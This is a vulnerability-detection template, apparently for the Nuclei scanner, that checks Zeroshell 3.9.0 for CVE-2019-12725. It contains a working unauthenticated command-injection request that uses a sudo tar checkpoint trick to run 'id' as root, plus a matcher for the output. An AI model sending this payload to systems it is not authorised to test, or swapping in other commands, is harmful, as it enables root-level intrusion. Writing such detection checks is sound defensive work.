id: CVE-2019-12725

info:
  name: Zeroshell 3.9.0 Remote Command Execution
  author: dwisiswant0
  severity: critical
  description: Zeroshell 3.9.0 is prone to a remote command execution vulnerability. Specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this issue by injecting OS commands inside the vulnerable parameters.
  remediation: Upgrade to 3.9.5. Be aware this product is no longer supported.
  reference:
    - https://www.zeroshell.org/new-release-and-critical-vulnerability/
    - https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
    - https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
  tags: cve,cve2019,rce,zeroshell
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2019-12725
    cwe-id: CWE-78

requests:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d%22id%22%0A%27"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}[a-z0-9]+"

# Enhanced by mp on 2022/02/04